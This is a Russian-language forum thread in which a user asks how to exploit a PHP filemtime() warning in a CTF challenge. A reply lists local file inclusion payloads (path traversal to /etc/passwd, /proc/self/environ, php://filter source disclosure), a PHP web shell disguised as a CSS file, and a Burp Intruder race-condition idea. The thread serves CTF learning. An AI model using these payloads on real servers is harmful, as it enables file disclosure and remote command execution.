• B правой части каждого сообщения есть стрелки и . Не стесняйтесь оценивать ответы. Чтобы автору вопроса закрыть свой тикет, надо выбрать лучший ответ. Просто нажмите значок в правой части сообщения.

Как использовать уязвимость через filemtime(): stat failed for path/some.css

Antohahaha

New member
07.03.2025
1
0
BIT
12
В рамках CTF, есть PHP код на сервере и при вызове он генерит страницу с такой ошибкой внутри тега ссылки на css: "<b>Warning</b>: filemtime(): stat failed for path/some.css <b>/var/www/public_html/path/page.php on line <b>8</b><br />"
Файл действительно отсутствует по данному пути т.к. он (путь) перепутан.
Пока не нашел как залить файл на сервер, возможно как-то без этого можно? Через burp?
Поделитесь мыслями, как это применить
 
Последнее редактирование:
Код:
?file=path/some.css
— впиши вместо этого:
Код:
?file=../../../../etc/passwd
.
Если не работает — кодируй символы.
Попробуй вместо ../ написать %2e%2e%2f (это URL-encode). Иногда сервак ест такое. Юзай Burp, чтобы ковырять запросы.
Перехвати запрос к странице с ошибкой. Ищи параметр, который указывает на CSS-файл (типа css=... или file=...). Вставь вместо него пейлоад для LFI (Local File Include), например:
Код:
../../../../../proc/self/environ
(тут иногда можно вытащить переменные окружения, где бывает флаг). Если скрипт включает файл через include() или похожее, впиши:
Код:
php://filter/convert.base64-encode/resource=page.php
Сервак вернет тебе исходник page.php в base64 — декодишь и ищешь флаг. Если сервар тупо включает любой файл как PHP (даже .css), создай свой CSS с кодом:
Код:
/* style.css */ 
<?php system($_GET['cmd']); ?>
Залей его (если есть upload), а потом дергай через параметр:
Код:
?css=путь/к/твоему.css&cmd=cat+/flag.txt
Если флага нет в /etc/passwd, ищи в /flag, /home/ctf/flag.txt, /var/www/flag.Если сервак отдает ошибки — читай их внимательно: иногда там подсказки. Race Condition: Если файл some.css создается на секунду — атакуй его через Burp Intruder, пока он живой.
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!